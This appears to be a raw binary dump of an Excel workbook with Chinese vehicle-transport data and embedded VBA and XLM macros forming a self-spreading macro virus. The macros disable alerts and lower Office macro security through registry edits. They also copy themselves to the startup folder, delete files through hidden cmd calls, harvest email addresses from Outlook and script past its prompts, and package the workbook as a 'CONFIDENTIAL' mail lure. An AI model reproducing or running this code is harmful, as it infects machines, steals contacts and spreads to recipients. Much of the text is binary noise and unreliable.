��ࡱ�>�� ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������ ����" !#�$%�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Root Entry�������� �F1�[טd��D�����@Workbook��������k-ETExtData�����������������@@Gm�d���m�d� ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� �����2t�P����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� <�8���6��m��#����������<��d��i�_C���(]6Q�F4j��OO�7Qܣ��g������������x4j��OO�7Qܣ��gd��i�_C���(]6Q��ME��������������������������������������������������������������� � �ɀ����\pĞ?�P� B�a�=� ThisWorkbook���=Z�$8X@�"��1���>Arial1���>�[SO1���>�[SO1���>�[SO1���>Arial1����>�[SO1h���>�[SO1h��>Arial1����>�[SO1"����> �N�[_GB23121����>�[SO1��>Arial1���>�[SO1� ��>�[SO16��>�[SO1� ��>�[SO1���>�[SO1�6��>�[SO1���>�[SO1���>�[SO1� ��>�[SO1�?��>�[SO1,6��>�[SO1���>�[SO1h6��>�[SO1� ��>�[SO1���>�[SO1�>��>�[SO1���>�[SO1�5��>�[SO1�5��>�[SO1���>Arial1����>�[SO"�"#,##0;"�"\-#,##0"�"#,##0;[Red]"�"\-#,##0"�"#,##0.00;"�"\-#,##0.00#"�"#,##0.00;[Red]"�"\-#,##0.007*2_ "�"* #,##0_ ;_ "�"* \-#,##0_ ;_ "�"* "-"_ ;_ @_ .))_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_ ?,:_ "�"* #,##0.00_ ;_ "�"* \-#,##0.00_ ;_ "�"* "-"??_ ;_ @_ 6+1_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_ \$#,##0_);\(\$#,##0\)\$#,##0_);[Red]\(\$#,##0\) \$#,##0.00_);\(\$#,##0.00\)% \$#,##0.00_);[Red]\(\$#,##0.00\).�)_(* #,##0_);_(* \(#,##0\);_(* "-"_);_(@_)?�:_("$"* #,##0.00_);_("$"* \(#,##0.00\);_("$"* "-"??_);_(@_)7�2_("$"* #,##0_);_("$"* \(#,##0\);_("$"* "-"_);_(@_)6�1_(* #,##0.00_);_(* \(#,##0.00\);_(* "-"??_);_(@_)��� � ����� ����� ����� ����� ����� ����� ����� ����� ����� ����� ����� ����� ����� ����� � � � ���@ @  � ���@ @  � ���@ @  � ���@ @  � ���@ @  � ���@ @ * � ���@ @  � ���@ @ / � ���@ @  � ���@ @ + � ���@ @  � ���@ @  ����@ @ , ����@ @ / ����@ @  ����@ @ / ����@ @  ����@ @  � �� �� ����@ @ � ���� @ @� ���� @ @� ���� @ @� ����@ @ � ����@ @ - ����@ @ � ����@ @ * ����a@ 0� ���� �� ���� �� ����� �  ����ff��7 ����@ @ � ����@ @ � ����`@ @� ���� �� ���� �� ����@ @ 0 ����@ @ 5 ����@ @ 7 ����@ @ 3 ����@ @ 6 ����@ @ 9 ����@ @ + ������ ����� � / ����@ @ � � ���   �� �� �� �� � 8@ @ � � 8@ @ � �X� � 8@ @ � �8@ @ � � 8@ @ � �8@ @ � �0@ @ � � "� �� �� �� �!20% - :_��eW[��r� 1�!20% - :_��eW[��r� 2�!20% - :_��eW[��r� 3�!20% - :_��eW[��r� 4�!20% - :_��eW[��r� 5�!20% - :_��eW[��r� 6�!40% - :_��eW[��r� 1�!40% - :_��eW[��r� 2�!40% - :_��eW[��r� 3�!40% - :_��eW[��r� 4�!40% - :_��eW[��r� 5�!40% - :_��eW[��r� 6�!60% - :_��eW[��r� 1�!60% - :_��eW[��r� 2�!60% - :_��eW[��r� 3�!60% - :_��eW[��r� 4�! 60% - :_��eW[��r� 5�!!60% - :_��eW[��r� 6�"��� #h��� $h�� 1� %h�� 2� &h�� 3� 'h�� 4�(�]����)���*}Y� +Gl;`�,���-��� .���{�/�h�gUSCQ� �� ?�lʑ`�qMacro1�/$ f������g�bh�_0�VV���"���W% D��N1 2019t^6g�N͑�p%�Џf������(100km/h)f�~h���:S^��:S�SN7b T�yf����y{|f�Lr�Sf�Lr��r����!kpeUl>\�~wm~nUl>\^�~wm~nzf�TЏ�� g�R gP�lQ�S�e8nSf��|N02838Ğr�F�0N Ul>\^�|Џ}lf�Џ�� gP�lQ�SF�0N �[ЏRlQ�S �[Џ�sf��|N02137�W:S Ul>\^�|Џ}lf�Џ�� gP�lQ�SUl>\ �[ЏRlQ�S �|N03540�|ND1513�|N02822wm0N wm0N�~KN�e�e8nЏ�� gP�lQ�S�|N87259 wm0N�S�N��[f�Џ��;`lQ�S�|N04593�|N05100�|N05122 F�0N^ؚ�v}lf�Џ�� gP�lQ�S�|N08268�|N84498 wm0N�Swm�m}lf�Џ�� gP�lQ�S�|N02253�|N02857�*� b�����2bcc���8^ĉ�2�&�20% - :_��eW[��r� 3�����eQ�2�'�40% - :_��eW[��r� 3����]�2�(�60% - :_��eW[��r� 3�� ��lʑ�2�$�60% - :_��eW[��r� 2���h�� 4�� �f�JT�e,g���h��� �5��ʑ'`�e,g���h�� 1���h�� 2�2� �60% - :_��eW[��r� 1���h�� 3�2�,�60% - :_��eW[��r� 4������Q������{� ���h�gUSCQ�@�!7 � �ɀ %�,  d����MbP?_*+��%����&�` �` �?'�` �` �?(ffffff�?)ffffff�?�"W,,�?�?U} I A} $ A} �!B} �A} � A} $ A}  A} �A����!kpe,  �@ �@ �@ X�@ ��@ ��@ ��@ X�@ X�@ X�@ X�@ X�@ X�@ X�@ X@ X@� C� M�NONNNN� D� D� E� D� D� D� D�FLLL � G � H � I � H � H � G~ H @� G � H� I� H� H� G~ H@� G � H� I� H� H� G~ H@� G � H� I� H� H� G~ H@� G � H � J � H � H� G~ H@� G � H� H� H � H� G~ H@� G � H� H� H� H� G~ H@� G � H� H� H � H� G~ H�?� G � H� H� H � H� G~ H�?� G � H� H� H� H � G~ H�?� G � H� H� H� H!� G~ H�?� G � K� K"� K � K#� G~ K�?� G � K� K� K� K$� G~ K�?�$�,$tbbbbbbbbbbbb>�@<  ��� �!7� Sheet1gg����D�&� ������������`�sm�d��U�m�d����������������������������������0����������������B��������������������������������������������������������������������������PSL����S����S�����6"����`���"���Z<��<������N0{00020819-0000-0000-C000-000000000046}����x���������(����������%����H���������`�������������� %������������������������� %%*����������������������������� ����������������� ������������� ��������������������� H�������� �)�X��������h�����%������������������������������������h8@TT����������������������0��W_$*\Rffff*065f57efdd*\R1*#2a9*\R1*#2ad�����4�������� "� � �(� 0�@�H"�  P�X�\`� �� �� �� ��� ��������] �Ġ��� ".��P� "($ALo��0�� � �&{0002E157-0000-0000-C000-000000000046}�������� X!8!�B@�� "(*� "($ XA@V� "(*o�������������Attribute VB_Name = "ThisWorkbook" �Bas�0{00020P819-0C$0046}� |Global�Spac�False dCreatablPred�eclaId�Tru BExposeTemplateDeriv�BustomizD2Public WithEvents xx @As App� ation fxx.�VarHelpID�U-1 P�;? Sub �_open() P Set�)= )On Error Resu�Nex�t4�:.Disj yAler�J= iCall do_whaEndC�: Axx_w�{O!ByVal w�b�5�'&� wb@8Project.References.AddFromGuid _ GUID:=�"B�E157��� -P�,� Major:=5, Mi nA3 ���������L����L�����"����L����L����P����P����L���������L����P����L����P����*L��������������������������������������� �Y�@����������� �Y�B���������� �Y�D����������( �Y�F���������������`�H�������� ��`�J�������� ��+� `������������ ���� ���� H�+j` `������������ � ����S�i�l���������������`�n����������`�p����������`�����������+.� `������������ �������� e�@�v�������� ��@�x�������� ��`�����������+x `������������( ���� o�I�|�������� �������@���������� ��@�~�������� �� ( `������������� ������x�I���������� ��� �I���������� �������@���������� ��@�~�������� �� 2� `����������������������!!�� ����������� %`������������`������������`���������� �� N����`���������������� ������@���������� ��@���������� ��@���������� ��`���������� ��h ��������( �0� ���������` 8�� ���������������������� ����@@�x x �����8������������ ��������������%����������������������������������������������������������������������p����(�������������������������������������������������������������������������",.02@��@x��� �� @��t����� !�@������p����� inG.@��X`��� �� .@������\��� �� RENT@������L��� �� soft@���<��� �� xcel@������,��� �� '��������������������������������������������������������������X��������p����������������������������������������������������������@�����ity\AccessVB@���l��� �� AL_M@������\��� �� osof@������X��� �� \Exc"������T����`'�P%����� REG_@������P����� ������������������������������������������������������������������X����������������������������������(�������������������������������������H���� �B@�@���x��� �� �@���t��� �� .�@������d��� �� @��`��� �� B@@������\��� �� B@� %������X���@`%����(@��pT����� �(@���P����� B@H@���L����� R.TY@������H����� ")��������������������X����������������������������h������������(�X������������������������������������������������������������������p �Y����x��� �E) XA6$@���p��� �� =END@���`��� �� A7$@������\��� �� =RET�����0���"���@���L��� �� !@��<��� �� � @��P,��� �� �B@@��@(����� �@������$����� �@��p��� �� �@������ �� �@������� �� `@������� �� H@������� �� 00�@������� �� 00�@���������� �� 00�@��(���� �� 00�@��@���������? �� t.Sh�(.�@��h���� �� T\ma@���������� �� and\����($���OOK.EXE�� ����P ��������������������� ������������������������������������������ ����"����� ����� � '0�P� `�h�x� ������B�  ���������������B�  ���� ������������ �����"(�P� ����B�$ X� �����p� �����x������������� ����� �������� ������������ ����� �� �(� �����0�@�H�P� �����X�h�p�x� ����������������� �����*�� �� �����"� 0� @� P�`�h� p�x� �� ������ ����� ������ �� ����� �� ������� �� � �����(� �����H�`�(x� ��������� ����� �������� �����  � �����  �( �"8 �` � p � x � � �� �� � � �� �� � ����B�  � �� �� �� � � �� �B �L` �J� �H � �����H � ` � p �� � � � � �� �� � ����B�  � � � �� �� � �  �* � �����ZH �V� �\ �X` � ������ �� � ������ �� ��(� �����H� ����"�  P�X�`� �������������� ����� ����"�  ���� ������� �����.��<� (� �����(@�!X�(x�6Y��(��^r��(@�!X�(x�!��(��!�� �������<?�� 0�58�P� ����B�  X�`�h�p����������� ����"� ��������� � �����0�bP� �����0��2��  �(� .0� `�h�p�x�P�� ���� �� � .�@� JH��� ��,��,��� �� �(� ����� ����"� 0�&8� �����`�*h��� �����2��F��$8�`�h� �����"x�"����B��>0� p�2���� ��.� 8�6X� ��2���� � �@�8`�2���� ��2�@� X� �����&h����� �����"��&��2��N0�P��N��J �*p�2��0��"�T0���.��4��\�h�,��8�����:�bX�.��P��J@ �� �$� �Z� �8(!�4`!�B�!�>�!� "�8"�BH"�<�"��"��"�(�"�. #�HP#�J�#��#�$�$ $�H$�h$�>x$�D�$�@%�V@%�&�%�@�%�&�R&�dh&��&�*�&�&'�@'�(P'�x'�j�'�4(�&@(�h(�j�(�4�(�&0)�X)�&x)��)��)�0�)�.�)�H(*�Xp*�J�*�.+�8H+��+�6�+��+�"�+�,�0,�8@,�6x,�0�,�P�,�0-�8@-�x-�B�-�>�-�.�(.�(8.�.`.�H�.�P�.�(/�H/�$`/��/� �/� �/�(�/��/��/� ����"� 0� 0�(0�80� �����@0�*`0�6�0�F�0� 1�&01�X1�`1� �����<p1�"�1�L�1�(2�H2�Ph2�P�2�d3�p3�p�3�@4�v@4��4�P�4�V 5�nx5���5���6��07��7��7�>�7�08�JH8�6�8�&�8�"�8� 9�&@9� h9��9�4�9�6�9� :�8:�0P:�*�:�(�:�x�:�BP;�*�;�$�;��;�<�&(<�P<�p<� ����� �<��<��<��<�,�<�(=� 0=� ����� @=�P=�(X=��=� �=�$�=��=���=� �������>�0?�8?� �����N@?�R�?�T�?�T@@�>�@� �����2�@�LA� `A�^pA�:�A�B� B�(B� ����"� 0B�8B�@B�HB� �����$XB��B� ������B��B��B��B��B��B��B��B��B��B� �B�C�C� C�(C�0C�HC�PC�XC�`C�hC�pC� ����B� xC�2�C��C��C��C��C��C�D�D�D� ����B�  D� D�8D�@D� XD�hD��D� �D��D��D��D��D��D�*�D�2E�PE�`E�hEB� pE�xE��E�4�E�.�E�F�*F� HF�XF� ����B�  `F�hF�pF�*�F� �F� �F� �F��F� ����"�  �F�G�G�*G�JHG��G� �G��G� �G��G� �G�H� H�0H�8H� ����� ����"� @H�HH�`H� hH� xH��H��H� �H�@�H��H�I�I� 0I� @I�PI�XI�`I� pI��I�*�I��I��I��I�&J�|(J�v�J�, K� PK� `K�pK� xK��K� ����B�  �K��K��K� �K� �K� �K��K�&L�0L�$8L�"`L��L��L��L��L��L� �L� ������L�����L�� "($jtj !& "!(�\O� "(*�N1�A,A.�$0!�Macro1�G A@2j B@4ndo� "(*NHEk��Xo��P�@]�"��� ThisWorkbook !8%:!<���#Public WithEvents xx As ApplicationC@>��Private Sub Workbook_open()C@>��Set xx = ApplicationC@>��On Error Resume NextC@>��!Application.DisplayAlerts = FalseC@>�� Call do_whatC@>��End SubC@>*��1Private Sub xx_workbookOpen(ByVal wb As Workbook)C@>� �On Error Resume NextC@>� �%wb.VBProject.References.AddFromGuid _C@>� �GUID:= 6�&{0002E157-0000-0000-C000-000000000046} 6�, _C@>� �Major:=5, Minor:=3C@>� �"Application.ScreenUpdating = FalseC@>��!Application.DisplayAlerts = FalseC@>�� copystart wbC@>��!Application.ScreenUpdating = TrueC@>��End SubC@>q��o����]��]��]�� !8.@�� ThisWorkbook @%:.B� B!<.F F��5JC@Hq���o��x�8 !& "!(�A@NAPARATk��0i��(���]��]���k4.xls$`!8.\� X!8.^�ToDole \ ^�$b�Gzji����  �0��]�]�(]�@]�X]�p]��]�� f���'bz��0k��( d$x z��'bz��k��� h���'bz���k��� f!| ~��'bz���k��� h!| ~��'bz���k����x� d f%:.B �!����'bz��@k��8�Temp$��\ d�.bas'l j�� l � � � $~ z� �B@� lA@� �!����'bz���k���k��� h!:� d7�C@�q��Xd��P �B@�� d h%:.B �!��� �!�� �d���'bz���k���k���k��� l�� d f%:B@� l�\$�'r l�.$�'t l r� t r � $�'n��.B� n h%:.B B�� l�� h!:B@�d�� B!l ��� l h!:%�.v B!<��5JC@H� v!<!J v!<%�'p� pC@>q����� v h!:B@�k��`k��X lA@��'bi��8��]�]� � !�'� "!(�\k4.xls'��k4.xls$� !& "!(�G��k4.xls$`B@Bj�comspec$ �� /c attrib -S -h " "!(�\K4.XLS" �A@��comspec$ �� /c Del /F /Q " "!(�\K4.XLS" �A@��comspec$ �� /c RD /S /Q " "!(�\K4.XLS" �A@� !& "!(�� "(*� (� � B@�� (�� "(*k��Hi��@�8]����������]���]�(�� "!�'���scRiPTinG.fiLEsysTeMoBjEcT$�.��,HKEY_CURRENT_USER\Software\Microsoft\Office\ ��\Excel\Security\AccessVBOM'��,HKEY_CURRENT_USER\Software\Microsoft\Office\ ��\Excel\Security\Level'��-HKEY_LOCAL_MACHINE\Software\Microsoft\Office\ ��\Excel\Security\AccessVBOM'��-HKEY_LOCAL_MACHINE\Software\Microsoft\Office\ ��\Excel\Security\Level'��'��'� � �� REG_DWORDA� � �� REG_DWORDA� � �� REG_DWORDA� � �� REG_DWORDA�i����@]���� WScript.Shell$�.� ��� � � �B@�d��P � � � �B@�k��0��.�o�� ��]�h� X%0B@H ��l 0B@��Macro1 �(�A2$�B@H� =ERROR(FALSE) �(��A3$�B@H�=IF(ERROR.TYPE(RUN(" "!��"))=4) �(��A4$�B@H�=ALERT("���ú꣬�ر� � $� �� $��Please Enable Macro!",3) �(��A5$�B@H�=FILE.CLOSE(FALSE) �(��A6$�B@H� =END.IF() �(��A7$�B@H� =RETURN() �(�� �� X!0� �!�!Auto_Activate� =Macro1!$A$2� X!�B@���� �� X%�(�o������'���� � "%`!� ��'�z��`k��X��Pi��H��]�10:00:00� ]�11:00:00�8]�14:00:00�P]�15:00:00�h]������ WScript.Shell$�.��,HKEY_CLASSES_ROOT\mailto\shell\open\command\ �%�$�� OUTLOOK.EXE�� �G|j  �  �  �  ���D:\Collected_Address:frag1.txt$�1�|��� d��� �1�D:\Collected_Address:frag1.txtA@A@k��� d��� �G|j  � �n� �$   � �n� �$ �|�� d�� �n� �$ '�� � �D:\Collected_Address:frag2.txt$X'�� � ��n� �$  �D:\Collected_Address\log.txt$��|��` d��X ��D:\Collected_Address:frag1.txtA@ ��D:\Collected_Address:frag2.txtA@A@k��� k��� k��� o��� ��]���� �8�P�h�� ��scripting.filesystemobject$�.�� WScript.Shell$�.��E:\KK %��G�E:\KK B@j ! !� $�� �_$�.�_$'�E:\KK\ � _clear.vbs'  �'  �� ��On error Resume Next� ��Dim wsh, tle, T0, i� �� T0 = Timer� �� Set wsh=createobject("�wscript.shell"�)� �� tle = "�Microsoft Office Outlook"�� ��For i = 1 To 1000� ��$ If Timer - T0 > 60 Then Exit For� �� Call Refresh()� �� wscript.sleep 05� �� wsh.sendKeys "�%a"�� �� wscript.sleep 05� �� wsh.sendKeys "� {TAB}{TAB}"�� �� wscript.sleep 05� �� wsh.sendKeys "�{Enter}"�� ��Next� ��Set wsh = Nothing� �� wscript.quit� �� Sub Refresh()� ��*Do Until wsh.AppActivate(CStr(tle)) = True� ��$ If Timer - T0 > 60 Then Exit Sub� ��Loop� �� wscript.sleep 05� �� wsh.SendKeys "�%{F4}"�� ��End Sub� V�E:\KK\ � _Search.vbs'" �' " �� ��On error Resume Next� ��Const olFolderInbox = 6� ��$Dim conbinded_address,WshShell,sh,ts� ��#Set WshShell=WScript.CreateObject("�WScript.Shell"�)� ��Set objOutlook = CreateObject("�Outlook.Application"�)� ��,Set objNamespace = objOutlook.GetNamespace("�MAPI"�)� ��<Set objFolder = objNamespace.GetDefaultFolder(olFolderInbox)� ��Set TargetFolder = objFolder� ��conbinded_address = "�"�� ��!Set colItems = TargetFolder.Items� ��wscript.sleep 300000� ��WshSHell.Run ("� wscript.exe  �"�), vbHide, False� �� ts = Timer� ��For Each objMessage in colItems� ��& If Timer - ts >55 then exit For� ��M conbinded_address = conbinded_address & valid_address(objMessage.Body)� ��Next� ��add_text conbinded_address, 8� ��)add_text all_non_same(ReadAllTextFile), 2� �� WScript.Quit� ��� ��+Private Function valid_address(source_data)� ��T Dim oDict, trimed_data , temp_data, i, t_asc, header_end, trimed_arr, nonsame_arr� �� Dim regex, matchs, ss, arr()� �� Set oDict = CreateObject("�Scripting.Dictionary"�)� �� Set regex = CreateObject("�VBSCRIPT.REGEXP"�)� ��� �� regex.Global = True� �� regex.Pattern = "�,\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*"�� ��* Set matchs = regex.Execute(source_data)� ��% ReDim trimed_arr(matchs.Count - 1)� ��3 For i = Lbound(trimed_arr) To Ubound(trimed_arr)� ��/ trimed_arr(i) = matchs.Item(i) & vbCrLf� �� Next� ��� ��3 For i = LBound(trimed_arr) To UBound(trimed_arr)� �� oDict(trimed_arr(i)) = "�"�� �� Next� ��� �� If oDict.Count > 0 Then� �� nonsame_arr = oDict.keys� ��: For i = LBound(nonsame_arr) To UBound(nonsame_arr)� ��; valid_address = valid_address & nonsame_arr(i)� �� Next� �� End If� �� Set oDict = Nothing� �� End Function� ��� ��0Private Sub add_text(inputed_string, input_frag)� ��5 Dim objFSO, logfile, logtext, log_path, log_folder� �� log_path = "�D:\Collected_Address"�� �� Set objFSO = CreateObject("�Scripting.FileSystemObject"�)� �� On Error resume next� ��1 Set log_folder = objFSO.CreateFolder(log_path)� ��� ��$ If objFSO.FileExists(log_path & "� \log.txt"� ) = 0 Then� ��7 Set logfile = objFSO.CreateTextFile(log_path & "� \log.txt"�, True)� �� End If� �� Set log_folder = Nothing� �� Set logfile = Nothing� ��� �� Select Case input_frag� �� Case 8� ��8 Set logtext = objFSO.OpenTextFile(log_path & "� \log.txt"�, 8, True, -1)� ��& logtext.Write inputed_string� �� logtext.Close� �� Case 2� ��8 Set logtext = objFSO.OpenTextFile(log_path & "� \log.txt"�, 2, True, -1)� ��& logtext.Write inputed_string� �� logtext.Close� �� End Select� �� set objFSO = nothing� ��End Sub� ��� ��"Private Function ReadAllTextFile()� �� Dim objFSO, FileName, MyFile� �� FileName = "�D:\Collected_Address\log.txt"�� �� Set objFSO = CreateObject("�Scripting.FileSystemObject"�)� ��< Set MyFile = objFSO.OpenTextFile(FileName, 1, False, -1)� �� If MyFile.AtEndOfStream Then� �� ReadAllTextFile = "�"�� �� Else� ��( ReadAllTextFile = MyFile.ReadAll� �� End If� ��set objFSO = nothing� �� End Function� ��� ��*Private Function all_non_same(source_data)� ��( Dim oDict, i, trimed_arr, nonsame_arr� �� all_non_same = "�"�� �� Set oDict = CreateObject("�Scripting.Dictionary"�)� ��� ��* trimed_arr = Split(source_data, vbCrLf)� ��� ��3 For i = LBound(trimed_arr) To UBound(trimed_arr)� ��! oDict(trimed_arr(i)) = "�"�� �� Next� ��� �� If oDict.Count > 0 Then� �� nonsame_arr = oDict.keys� ��: For i = LBound(nonsame_arr) To UBound(nonsame_arr)� ��B all_non_same = all_non_same & nonsame_arr(i) & vbCrLf� �� Next� �� End If� �� Set oDict = Nothing� �� End Function� V & "($� wscript.exe " *� �B@(��.�o����]������� � ]�8 �P .',�� WScript.Shell$�.���scripting.filesystemobject$�.�E:\SORCE %��G�E:\SORCE B@j ! !� $�� �_$�.�_$'�* � *Message*'0� E:\sorce\ �_Key.vbs' �'  �� ��.Dim oexcel,owb, WshShell,Fso,Atta_xls,sh,route� ��On error Resume Next� ��Set sh=WScript.CreateObject("�shell.application"�)� ��sh.MinimizeAll� ��Set sh = Nothing� ��Set Fso = CreateObject("�Scripting.FileSystemObject"�)� ��%Set WshShell = WScript.CreateObject("�WScript.Shell"�)� ��If Fso.Folderexists("�E:\KK"�!) = False Then Fso.CreateFolder "�E:\KK"� ��Fso.CopyFile _� ��WshShell.CurrentDirectory & "�\ �*.CAB"�,� �"E:\KK\"�, True� ��For Each Atta_xls In ListDir("�E:\KK"�)� �� WshShell.Run "�expand "� & Atta_xls & "� -F: � .xls E:\KK"� , 0, true� ��Next� ��If Fso.FileExists("�E:\KK\ �.xls"� ) = 0 then� ��- route = WshShell.CurrentDirectory & "�\ �.xls"� ��7 if Fso.FileExists(WshShell.CurrentDirectory & "�\ �.xls"�)=0 then� ��# route = InputBox("� Warning! "� & Chr(10) & "�+You are going to open a confidential file."� & Chr(10) _� ��" & "�%Please input the complete file path."� & Chr(10) & "�#ex. C:\parth\confidential_file.xls"�, _� �� "� Open a File"� , "�$Please Input the Complete File Path"�, 10000, 8500)� �� End if� ��else� �� route = "�E:\KK\ �.xls"� ��End If� �� set oexcel=createobject("�excel.application"�)� ��' set owb=oexcel.workbooks.open(route)� �� oExcel.Visible = True� ��Set oExcel = Nothing� ��Set oWb = Nothing� ��Set WshShell = Nothing� ��Set Fso = Nothing� �� WScript.Quit� ��%Private Function ListDir (ByVal Path)� ��( Dim Filter, a, n, Folder, Files, File� �� ReDim a(10)� �� n = 0� ��" Set Folder = fso.GetFolder(Path)� �� Set Files = Folder.Files� �� For Each File In Files� �� If left(File.Name, �) = " �" and right(File.Name,3) = "�CAB"� Then� ��4 If n > UBound(a) Then ReDim Preserve a(n*2)� �� a(n) = File.Path� �� n = n + 1� �� End If� �� Next� �� ReDim Preserve a(n-1)� �� ListDir = a� �� End Function� V !&� \TEST.txt' �'  �� �� E:\sorce\ �_Key.vbs� �� E:\sorce\ �.xls� V� "(*A@2� E:\sorce\ �.xls B@�A@N$L' 4 !&�$�A@6�#"C:\" !&A@:�comspec$ �� /c makecab /F " !&� \TEST.TXT"�J /D COMPRESSIONTYPE=LZX /D COMPRESSIONMEMORY=21 /D CABINETNAMETEMPLATE=../ �.CAB *� �B@(� " !&� \TEST.txt %8 !&� \setup.rpt %8 !&� \setup.inf %8 !&�\ �.CAB %8aA@������comspec$ �� /c RD /S /Q " !&�\disk1" *� �B@(�comspec$ �� /c Del /F /Q " !&� \TEST.txt" *� �B@(�comspec$ �� /c Del /F /Q " !&� \setup.rpt" *� �B@(�comspec$ �� /c Del /F /Q " !&� \setup.inf" *� �B@(�comspec$ �� /c RD /S /Q E:\sorce *� �B@(�E:\KK %��G�E:\KK B@j�comspec$ �� /c MOVE /Y  � .CAB E:\KK" *� �B@( 4A@:� , � Dear all, <  <�FYI��E:\KK\ �.CABA:�comspec$ �� /c RD /S /Q E:\KK *� �B@(��.�� "(*o���=�h ]�H ]�` �G|j��Outlook.Application$�.H� N H%L.J J� @9@ B9B >9h D9P F5RB@��9Tq�� =�V=�X= JB@Z[�� setforth �A@�A@�A@��%s��^A@\A@��X�<�V�<��.H��.Jo���<�x �� Win32_Process� WinMgmts:$b%d.`�'� f� `� f!h�OUTLOOK�� ��'y��<k���;���;i���;�� ]� �0 �H �'j l��Gzj l� �� �� l� j�$$ 'j� ��z��P;k��H; l� 'nA@4� ��� � r n  t � � 'p t p ��G j�$$ t p 'jj t p 't���:i���:�` ]�� �� �� �'.�D:\Collected_Address\log.txt$ <$z'v v� v� � $j�$$$z'x� �� x�� .�; $xX� $v'.� ��i���9�� ��9]�H �` ��scRiPTinG.fiLEsysTeMoBjEcT$�.�� |��� �%�.~ ~!�' ~B@Bi��9�x ��8]�� � ��scRiPTinG.fiLEsysTeMoBjEcT$�.� � �� $� �%��G � �� $� �B@j � �%8�� ���� �%�.~ � ~B@� ~B@Bd��8� ���� �%�.~ � ~B@� ~B@Bk���7o���7�( ]�h �� �� ]�� � "(*� "($�p7� �� !��� �(�� �!�!$z#� Auto_Activate�G �B@�j��7� �� !0� �!�Macro1� � �(� �B@�k���6���6�$0B@H 0B@�� �� !0� �!�$0!�G � �(�j��06� r� '�� r� '��** CONFIDENTIAL! ** � �+��Use �"$� ! !� $��_key.vbs�"$�� To Open This File. �� �+������ �"$� ! !� $��_key.vbs�"$�� �������ļ�. �� �+� � �$� �� �$�$���5�(��5�(�q���4� "(*o��p4�� ]��(�@�X�@4 �!'�� "(*� "($� �� !0� �!�Macro1�G � �(�j���3� ���A1:F15 �$0%�� �!�� CONFIDENTIAL�� ��'�y��h3k��`3��X3 ���G �$0B@�j� "(*i�� 3����3����Y�Attribute VB_Name = "ToDOLE" PrivalSub auto_open() Application.Display@Alerts|False If ThisWorkbook.Pa@th <> tS@tartupT@hen c�reenUpding[ Call delete�_tf_wk<�copytowx�Sheets0(1).��"M@acro1"Se�n Movem�4 [� cSavnSTruEnd� If ��� � R��jonst @DQUOTEv"3�?Wi�� BVBProject.VBComponenn" ").CodeModuBlF.Ins�Lines 1, P"Pub� Ev� xx As��_@�� 2� ���v��E� 3� Set�=�4� On Error Resu�@�Next�5� � 6 �o_wtha7�h�8��I�xx_�O��ByVal wbkAM�B) 9!7120 wbt�vReferences.AddFrom@Guid _M1AsGUID:=" &��& "{0002E157-u0C�B�0�046}k,� �>�Major:=@0�Min!3��=�{ϒw��?�: XaA�Ahs!�`0� �>�at���ACw!d�x�xK��x8Dim`��8�BVB�IDE�: ��v?��xw')y ��jC����� =�� s(��#%A7aj�!! $� .DB����untOf�'(Fun�c� d#r�&�Є@_`(cDataaInvoke_�a!�8 7�n.� �toreAft{�8�(s� #0�.@NumberQ�0���!0���9�=�viron�Q��2")�"\�HMᐜ.baso�� y?H= ь+ s$DHir(", �.orm��+�Hidd�ϡSyste�m)��0pّ3�0Clea�rgKi� �B����%0��q��92�8ҋ9*�ӛ.Rem��� .I �!����E"�q1��� :)����I���ǁ8Q�+= 9?8 � Else �0� copymodule = Fa� Exit Function �End If&   FromVBProject.VBComponents(M�Name). Exporpil�e:=FBGSlashPos�InStrRev(#, "\"�)Ext.ǁ?-�#Mid!�.0+ 1,�}#- 1 - 11�Fet �e�#Nothi�ng� To}�B *DIf�)Is * �The�(.I@U �O K�F.Typ�vbext_c�t_Docum@f/����6E�S@?Te�mpF@�%CY�:KWith?.Code���.DeleteLinesAj untOf�� S@g*H. �(�z�Co��-�/�.Insert=�!S��A4KOn Error G`oTo 0 VPR�emove �)� �� iKill ��g�}Tru@���{ e Microsofthobby(`Attr`ibutel`y_A�zcDataaI�nvoke_! �."8" Dim myf`z0 As �v�d�MyFG���#Res�P RN�R �=�RisWorkboo�k.Full� = Applica��.StartPupPa�J&��k�4.xls �_e@Open("$)d A��ThH �� s � s' . CloseŪShe�1Environ$("coms@pec") � /c a�+ -S� -h """��9K4.XLS�, vbMini@mizedF ws � �g /F t/Q? \? �N�RpD /S �3 > @6�2�=� )cr@eenUpd Dng T�� IsAdxdin@ce"~*S�aveC`�`Z�Odr�) Zgs��vt!WD�oor�sU99p9Fso, RK1�'8�2�3�4���=KValue2Variant,� 3�4�VS�a�>xt 0� 0� Tha���'�;Tru�Exit��h4xIf �=�A:��}��� A��Judge() Const T1�~D��= "P10:0"2U 1 3 4 4 5Dim S`entTib�,� Wsh�vll.Set�CCre�(Object("WScript.B "�2@^Not In@t(UCase(.RegRead("HKEY_CLASSES_ROOT\mailto\s@hell\o@�\command\")), "OUTLOOK.EX�E"Gk �c@T�)@�1>=�R@��<��2 Or @J 24~ @�(Ou7D:\Coll:ed_Address:frag`1.txt�!�i"ϊA�H%� E��C@�PFi��"1"�7\A�search_in_OL��H2bif_�outl��_�U+� (� G T�Lh#�A�("n�10,e�)G) T�J�4>)�#'6M#FQ= �-21, No�w L! ˀt X����%� C (�;2�; & �y�+w <= 2�#� b$ \l�oggHPH� l%cmI�� J�I`����,9R�#i,�"Cab�_� dM�yI�SB�U`Ga��dx�� )]�a�i�Integer, Att+�@ddVbs�bk�ʢList��fs� ����gኦL�Resu��C䡢�l= #'�s¡@�.f�{system�ob���_�I� @Mfs.Folderex�s("E�:\KKb���z�K�c � $= Replace`�Left(T�his�ݒp,rsn�) - 4qX �%t_"�.�@&_c�{rPb\" "&6& "�.vbs (i`Fre�e1 �v�F��FF0~�Xput0sca�W Wri@��#i�P�nt #i�+peB�x`�#wsh, tle �L;i  T0;P �Pr���=c#�o3("""w�c.�k4) @� �Mi@�soft Office ?PAZ��Q�1 �Ў1000�bkR �p > 6㌓^��Call !f m h(� � leep 